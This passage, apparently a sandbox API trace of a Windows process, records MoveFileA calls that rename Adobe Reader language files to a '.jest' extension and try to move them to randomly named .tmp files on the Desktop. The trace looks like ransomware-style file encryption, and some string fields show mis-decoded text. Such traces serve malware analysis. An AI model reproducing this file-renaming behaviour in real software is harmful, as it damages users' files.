(dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0150.989] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.989] CoFreeUnusedLibraries () [0150.989] GetTickCount () returned 0x115784c [0150.989] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.989] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.989] GetTickCount () returned 0x115784c [0150.989] IsWindowVisible (hWnd=0x30268) returned 0 [0150.989] Sleep (dwMilliseconds=0x0) [0150.990] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0150.990] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.de_DE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.de_de.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.de_DE.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.de_de.txt.jest")) returned 1 [0150.991] GetLastError () returned 0x0 [0150.991] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳敤䑟⹅硴t") returned 0x6b [0150.991] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ddec, cbMultiByte=107, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 107 [0150.991] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳敤䑟⹅硴t") returned 0x6b [0150.991] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ddec, cbMultiByte=108, lpWideCharStr=0x1445ffc, cchWideChar=215 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.de_DE.txt") returned 108 [0150.991] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳敤䑟⹅硴⹴敪瑳") returned 0x70 [0150.992] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146c82c, cbMultiByte=112, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 112 [0150.992] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳敤䑟⹅硴⹴敪瑳") returned 0x70 [0150.992] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146c82c, cbMultiByte=113, lpWideCharStr=0x144eaec, cchWideChar=225 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.de_DE.txt.jest") returned 113 [0150.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.de_DE.txt", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.de_DE.txt", lpUsedDefaultChar=0x0) returned 108 [0150.992] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e8d8) [0150.992] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0150.993] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0150.993] GetLocalTime (in: lpSystemTime=0x18e9d4 | out: lpSystemTime=0x18e9d4*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x24, wMilliseconds=0x2a9)) [0150.993] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0150.993] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x24, wMilliseconds=0x2a9)) [0150.993] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x24, wMilliseconds=0x2a9)) [0150.993] GetUserDefaultLCID () returned 0x409 [0150.993] VarBstrFromR4 (in: fltIn=0x47945057, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.68") returned 0x0 [0150.994] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0150.994] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.994] CoFreeUnusedLibraries () [0150.994] GetTickCount () returned 0x115784c [0150.994] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.994] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.994] GetTickCount () returned 0x115784c [0150.994] IsWindowVisible (hWnd=0x30268) returned 0 [0150.994] Sleep (dwMilliseconds=0x0) [0150.996] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.de_DE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.de_de.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\92pmBLeIUTJk2pOlwg93WMy3kQ8i_SaiOKxFy2_go-eVO8Zwgcnd-wooQ6_8Y9Y0ZDlhRj9PxLg4KPhoSjymeYJ3vZk1 KcYS8ybi.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\92pmbleiutjk2polwg93wmy3kq8i_saiokxfy2_go-evo8zwgcnd-wooq6_8y9y0zdlhrj9pxlg4kphosjymeyj3vzk1 kcys8ybi.tmp")) returned 0 [0150.996] GetLastError () returned 0x2 [0150.996] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0150.997] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0150.997] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.997] CoFreeUnusedLibraries () [0150.997] GetTickCount () returned 0x115784c [0150.997] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.998] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.998] GetTickCount () returned 0x115784c [0150.998] IsWindowVisible (hWnd=0x30268) returned 0 [0150.998] Sleep (dwMilliseconds=0x0) [0150.998] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0150.998] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.de_DE_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.de_de_preeuro.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.de_DE_PREEURO.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.de_de_preeuro.txt.jest")) returned 1 [0151.000] GetLastError () returned 0x0 [0151.000] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳敤䑟彅剐䕅剕⹏硴t") returned 0x73 [0151.000] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=115, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 115 [0151.000] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳敤䑟彅剐䕅剕⹏硴t") returned 0x73 [0151.000] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=116, lpWideCharStr=0x144eaec, cchWideChar=231 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.de_DE_PREEURO.txt") returned 116 [0151.000] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳敤䑟彅剐䕅剕⹏硴⹴敪瑳") returned 0x78 [0151.000] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144bb04, cbMultiByte=120, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 120 [0151.000] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳敤䑟彅剐䕅剕⹏硴⹴敪瑳") returned 0x78 [0151.000] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144bb04, cbMultiByte=121, lpWideCharStr=0x146c82c, cchWideChar=241 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.de_DE_PREEURO.txt.jest") returned 121 [0151.000] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.de_DE_PREEURO.txt", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.de_DE_PREEURO.txt", lpUsedDefaultChar=0x0) returned 116 [0151.000] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e8d8) [0151.001] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0151.001] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0151.001] GetLocalTime (in: lpSystemTime=0x18e9d4 | out: lpSystemTime=0x18e9d4*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x24, wMilliseconds=0x2b8)) [0151.001] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0151.002] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x24, wMilliseconds=0x2b8)) [0151.002] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x24, wMilliseconds=0x2b8)) [0151.002] GetUserDefaultLCID () returned 0x409 [0151.002] VarBstrFromR4 (in: fltIn=0x47945059, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.7") returned 0x0 [0151.002] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0151.002] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.002] CoFreeUnusedLibraries () [0151.002] GetTickCount () returned 0x115785b [0151.002] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.003] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.003] GetTickCount () returned 0x115785b [0151.003] IsWindowVisible (hWnd=0x30268) returned 0 [0151.003] Sleep (dwMilliseconds=0x0) [0151.004] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.de_DE_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.de_de_preeuro.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Fq7wGjmjudu_3GG-Ts K66VRz1vWB_L-6Pu4vVuA6ybpWo4loSQdEMCcZpQzYCWdZT0KeProxNedUrcqw1 U6aS8WCsdErg-nLr4q.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fq7wgjmjudu_3gg-ts k66vrz1vwb_l-6pu4vvua6ybpwo4losqdemcczpqzycwdzt0keproxnedurcqw1 u6as8wcsderg-nlr4q.tmp")) returned 0 [0151.004] GetLastError () returned 0x2 [0151.004] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0151.004] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0151.005] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.005] CoFreeUnusedLibraries () [0151.005] GetTickCount () returned 0x115785b [0151.005] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.005] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.005] GetTickCount () returned 0x115785b [0151.005] IsWindowVisible (hWnd=0x30268) returned 0 [0151.005] Sleep (dwMilliseconds=0x0) [0151.006] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0151.006] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.de_CH.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.de_ch.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.de_CH.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.de_ch.txt.jest")) returned 1 [0151.007] GetLastError () returned 0x0 [0151.007] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳敤䍟⹈硴t") returned 0x6b [0151.007] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ddec, cbMultiByte=107, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 107 [0151.008] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳敤䍟⹈硴t") returned 0x6b [0151.008] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ddec, cbMultiByte=108, lpWideCharStr=0x146c82c, cchWideChar=215 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.de_CH.txt") returned 108 [0151.008] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳敤䍟⹈硴⹴敪瑳") returned 0x70 [0151.008] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ebf4, cbMultiByte=112, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 112 [0151.008] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳敤䍟⹈硴⹴敪瑳") returned 0x70 [0151.008] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ebf4, cbMultiByte=113, lpWideCharStr=0x144bb04, cchWideChar=225 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.de_CH.txt.jest") returned 113 [0151.008] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.de_CH.txt", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.de_CH.txt", lpUsedDefaultChar=0x0) returned 108 [0151.008] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e8d8) [0151.008] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0151.009] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0151.009] GetLocalTime (in: lpSystemTime=0x18e9d4 | out: lpSystemTime=0x18e9d4*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x24, wMilliseconds=0x2b8)) [0151.009] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0151.009] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x24, wMilliseconds=0x2b8)) [0151.009] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x24, wMilliseconds=0x2b8)) [0151.009] GetUserDefaultLCID () returned 0x409 [0151.009] VarBstrFromR4 (in: fltIn=0x47945059, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.7") returned 0x0 [0151.010] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0151.010] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.010] CoFreeUnusedLibraries () [0151.010] GetTickCount () returned 0x115785b [0151.010] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.010] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.010] GetTickCount () returned 0x115785b [0151.010] IsWindowVisible (hWnd=0x30268) returned 0 [0151.010] Sleep (dwMilliseconds=0x0) [0151.012] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.de_CH.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.de_ch.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SOQfqWkkhsKwtvx74o_Wrn68FAXoWNbR9_3 6f5B-CieyBxbeV-j7uLFsQVvpy-e3XrFoavFr7zPYirZHqGJ9Jf9lExgTbXej-0.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\soqfqwkkhskwtvx74o_wrn68faxownbr9_3 6f5b-cieybxbev-j7ulfsqvvpy-e3xrfoavfr7zpyirzhqgj9jf9lexgtbxej-0.tmp")) returned 0 [0151.012] GetLastError () returned 0x2 [0151.012] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0151.012] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0151.013] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.013] CoFreeUnusedLibraries () [0151.013] GetTickCount () returned 0x115785b [0151.013] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.013] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.013] GetTickCount () returned 0x115785b [0151.013] IsWindowVisible (hWnd=0x30268) returned 0 [0151.013] Sleep (dwMilliseconds=0x0) [0151.014] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0151.014] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.da_DK.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.da_dk.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.da_DK.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.da_dk.txt.jest")) returned 1 [0151.015] GetLastError () returned 0x0 [0151.015] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳慤䑟⹋硴t") returned 0x6b [0151.015] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=107, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 107 [0151.015] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳慤䑟⹋硴t") returned 0x6b [0151.015] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=108, lpWideCharStr=0x144bb04, cchWideChar=215 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.da_DK.txt") returned 108 [0151.015] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳慤䑟⹋硴⹴敪瑳") returned 0x70 [0151.015] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14cf144, cbMultiByte=112, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 112 [0151.015] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳慤䑟⹋硴⹴敪瑳") returned 0x70 [0151.015] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14cf144, cbMultiByte=113, lpWideCharStr=0x144ebf4, cchWideChar=225 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.da_DK.txt.jest") returned 113 [0151.016] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.da_DK.txt", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.da_DK.txt", lpUsedDefaultChar=0x0) returned 108 [0151.016] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e8d8) [0151.016] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0151.016] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0151.017] GetLocalTime (in: lpSystemTime=0x18e9d4 | out: lpSystemTime=0x18e9d4*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x24, wMilliseconds=0x2c8)) [0151.018] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0151.018] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x24, wMilliseconds=0x2c8)) [0151.018] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, 